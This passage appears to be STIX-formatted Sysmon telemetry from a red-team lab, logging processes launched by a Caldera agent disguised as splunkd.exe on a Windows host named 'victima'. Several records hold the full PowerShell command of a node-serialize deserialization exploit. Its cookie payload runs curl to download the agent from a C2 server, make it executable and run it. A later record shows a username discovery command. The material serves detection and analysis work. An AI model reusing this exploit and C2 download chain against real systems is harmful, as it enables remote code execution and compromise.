"parent_args_count": 5, | |
"parent_entity_id": "{ca21cdf6-4b3e-62e1-2b02-000000001400}", | |
"pe_file_version": "10.0.19041.546 (WinBuild.160101.0800)", | |
"pe_product": "Microsoft\u00ae Windows\u00ae Operating System", | |
"pe_description": "Windows PowerShell", | |
"pe_original_file_name": "PowerShell.EXE", | |
"pe_company": "Microsoft Corporation", | |
"working_directory": "C:\\Program Files\\WinMail\\", | |
"args_count": 5, | |
"entity_id": "{ca21cdf6-4ddf-62e1-5702-000000001400}" | |
}, | |
"1": { | |
"type": "process", | |
"name": "splunkd.exe", | |
"pid": 3124, | |
"binary_ref": "4", | |
"command_line": "\"C:\\Users\\Public\\splunkd.exe\" -server http://192.168.56.150:8888 -group red " | |
}, | |
"2": { | |
"type": "process", | |
"parent_ref": "1", | |
"name": "powershell.exe", | |
"pid": 7880, | |
"binary_ref": "6", | |
"command_line": "powershell.exe -ExecutionPolicy Bypass -C \"$vuln_server = \\\"192.168.56.91\\\";$c2_uri = \\\"http://192.168.56.150:8888\\\";$cmd = \\\"curl -s -X POST -H \\`\\\"file:sandcat.go\\`\\\" -H \\`\\\"platform:linux\\`\\\" $c2_uri/file/download > splunkd;chmod +x splunkd;./splunkd -server $c2_uri -group red -v\\\";$payload = \\\"{\\\"\\\"username\\\"\\\":\\\"\\\"injected\\\"\\\",\\\"\\\"rce\\\"\\\":\\\"\\\"_`$`$ND_FUNC`$`$_function anonymous() {\\nrequire('child_process').exec('$cmd', function(error, stdout, stderr) { console.log(stdout) });\\n}()\\\"\\\"}\\\";$payload_b64 = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($payload));$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession;$cookie = New-Object System.Net.Cookie(\\\"profile\\\", $payload_b64, \\\"/\\\", $vuln_server);$session.Cookies.Add($cookie);$Response = DNS-Lookup -Uri \\\"http://$vuln_server\\\" -WebSession $session;Write-Output $Response;\"", | |
"creator_user_ref": "13" | |
}, | |
"3": { | |
"type": "x-oca-event", | |
"parent_process_ref": "1", | |
"process_ref": "2", | |
"host_ref": "8", | |
"ingested": "2022-07-27T14:38:31.249291675Z", | |
"code": "1", | |
"provider": "Microsoft-Windows-Sysmon", | |
"created": "2022-07-27T14:38:24.877Z", | |
"kind": "event", | |
"module": "sysmon", | |
"action": "Process Create (rule: ProcessCreate)", | |
"category": [ | |
[ | |
"process" | |
] | |
], | |
"event_type": [ | |
"start" | |
], | |
"user_ref": "13" | |
}, | |
"4": { | |
"type": "file", | |
"name": "splunkd.exe", | |
"parent_directory_ref": "5" | |
}, | |
"5": { | |
"type": "directory", | |
"path": "C:\\Users\\Public" | |
}, | |
"6": { | |
"type": "file", | |
"name": "powershell.exe", | |
"parent_directory_ref": "7" | |
}, | |
"7": { | |
"type": "directory", | |
"path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0" | |
}, | |
"8": { | |
"type": "x-oca-asset", | |
"hostname": "victima", | |
"os_name": "Windows 10 Pro", | |
"os_version": "10.0", | |
"os_platform": "windows", | |
"ip_refs": [ | |
"9", | |
"10" | |
], | |
"name": "victima", | |
"id": "ca21cdf6-3888-4c03-ae56-9ad5ca4b5981", | |
"mac_refs": [ | |
"11" | |
], | |
"architecture": "x86_64" | |
}, | |
"9": { | |
"type": "ipv4-addr", | |
"value": "192.168.56.111" | |
}, | |
"10": { | |
"type": "ipv6-addr", | |
"value": "fe80::6081:41da:9cd5:7c82" | |
}, | |
"11": { | |
"type": "mac-addr", | |
"value": "08:00:27:18:81:31" | |
}, | |
"12": { | |
"type": "x-ecs-user", | |
"domain": "VICTIMA", | |
"id": "S-1-5-18" | |
}, | |
"13": { | |
"type": "user-account", | |
"user_id": "user", | |
"account_login": "user" | |
}, | |
"2": { | |
"type": "process", | |
"parent_ref": "1", | |
"name": "powershell.exe", | |
"pid": 7880, | |
"binary_ref": "6", | |
"command_line": "powershell.exe -ExecutionPolicy Bypass -C \"$vuln_server = \\\"192.168.56.91\\\";$c2_uri = \\\"http://192.168.56.150:8888\\\";$cmd = \\\"curl -s -X POST -H \\`\\\"file:sandcat.go\\`\\\" -H \\`\\\"platform:linux\\`\\\" $c2_uri/file/download > splunkd;chmod +x splunkd;./splunkd -server $c2_uri -group red -v\\\";$payload = \\\"{\\\"\\\"username\\\"\\\":\\\"\\\"injected\\\"\\\",\\\"\\\"rce\\\"\\\":\\\"\\\"_`$`$ND_FUNC`$`$_function anonymous() {\\nrequire('child_process').exec('$cmd', function(error, stdout, stderr) { console.log(stdout) });\\n}()\\\"\\\"}\\\";$payload_b64 = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($payload));$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession;$cookie = New-Object System.Net.Cookie(\\\"profile\\\", $payload_b64, \\\"/\\\", $vuln_server);$session.Cookies.Add($cookie);$Response = DNS-Lookup -Uri \\\"http://$vuln_server\\\" -WebSession $session;Write-Output $Response;\"", | |
"creator_user_ref": "13" | |
}, | |
"0": { | |
"type": "x-ecs-process", | |
"args": [ | |
"powershell.exe", | |
"-ExecutionPolicy", | |
"Bypass", | |
"-C", | |
"$vuln_server = \"192.168.56.91\";$c2_uri = \"http://192.168.56.150:8888\";$cmd = \"curl -s -X POST -H \\`\"file:sandcat.go\\`\" -H \\`\"platform:linux\\`\" $c2_uri/file/download > splunkd;chmod +x splunkd;./splunkd -server $c2_uri -group red -v\";$payload = \"{\"\"username\"\":\"\"injected\"\",\"\"rce\"\":\"\"_`$`$ND_FUNC`$`$_function anonymous() {\\nrequire('child_process').exec('$cmd', function(error, stdout, stderr) { console.log(stdout) });\\n}()\"\"}\";$payload_b64 = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($payload));$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession;$cookie = New-Object System.Net.Cookie(\"profile\", $payload_b64, \"/\", $vuln_server);$session.Cookies.Add($cookie);$Response = DNS-Lookup -Uri \"http://$vuln_server\" -WebSession $session;Write-Output $Response;" | |
], | |
"parent_args": [ | |
"C:\\Users\\Public\\splunkd.exe", | |
"-server", | |
"http://192.168.56.150:8888", | |
"-group", | |
"red" | |
], | |
"parent_args_count": 5, | |
"parent_entity_id": "{ca21cdf6-4b3e-62e1-2b02-000000001400}", | |
"pe_file_version": "10.0.19041.546 (WinBuild.160101.0800)", | |
"pe_product": "Microsoft\u00ae Windows\u00ae Operating System", | |
"pe_description": "Windows PowerShell", | |
"pe_original_file_name": "PowerShell.EXE", | |
"pe_company": "Microsoft Corporation", | |
"working_directory": "C:\\Program Files\\WinMail\\", | |
"args_count": 5, | |
"entity_id": "{ca21cdf6-4ddf-62e1-5702-000000001400}" | |
} | |
}, | |
"first_observed": "2022-07-27T14:38:23.087Z", | |
"last_observed": "2022-07-27T14:38:23.087Z", | |
"number_observed": 1 | |
}, | |
{ | |
"id": "observed-data--3c503fe7-102d-482f-842f-641f757c6087", | |
"type": "observed-data", | |
"created_by_ref": "identity--3607d256-1879-413f-8b95-d69da77d3646", | |
"created": "2022-07-28T16:05:45.785Z", | |
"modified": "2022-07-28T16:05:45.785Z", | |
"objects": { | |
"0": { | |
"type": "x-ecs-process", | |
"args": [ | |
"powershell.exe", | |
"-ExecutionPolicy", | |
"Bypass", | |
"-C", | |
"$env:username" | |
], | |
"parent_args": [ | |
"C:\\Users\\Public\\splunkd.exe", | |
"-server", | |
"http://192.168.56.150:8888", | |
"-group", | |
"red" | |
], | |
"parent_args_count": 5, | |
"parent_entity_id": "{ca21cdf6-4b3e-62e1-2b02-000000001400}", | |
"pe_file_version": "10.0.19041.546 (WinBuild.160101.0800)", | |
"pe_product": "Microsoft\u00ae Windows\u00ae Operating System", | |
"pe_description": "Windows PowerShell", | |
"pe_original_file_name": "PowerShell.EXE", | |
"pe_company": "Microsoft Corporation", | |
"working_directory": "C:\\Program Files\\WinMail\\", | |
"args_count": 5, | |
"entity_id": "{ca21cdf6-4e17-62e1-5802-000000001400}" | |
}, | |
"1": { | |
"type": "process", | |
"name": "splunkd.exe", | |
"pid": 3124, | |
"binary_ref": "4", | |
"command_line": "\"C:\\Users\\Public\\splunkd.exe\" -server http://192.168.56.150:8888 -group red " | |
}, | |
"2": { | |
"type": "process", | |
"parent_ref": "1", | |
"name": "powershell.exe", | |
"pid": 6880, | |
"binary_ref": "6", | |
"command_line": "powershell.exe -ExecutionPolicy Bypass -C $env:username", | |
"creator_user_ref": "13" | |
}, | |
"3": { | |
"type": "x-oca-event", | |
"parent_process_ref": "1", | |
"process_ref": "2", | |
"host_ref": "8", | |
"ingested": "2022-07-27T14:39:26.825122272Z", | |
"code": "1", | |
"provider": "Microsoft-Windows-Sysmon", | |
"kind": "event", | |
"created": "2022-07-27T14:39:20.496Z", | |
"module": "sysmon", | |
"action": "Process Create (rule: ProcessCreate)", | |
"category": [ | |
[ | |
"process" | |
] | |
], | |
"event_type": [ | |
"start" | |
], | |
"user_ref": "13" | |
}, | |
"4": { | |
"type": "file", |
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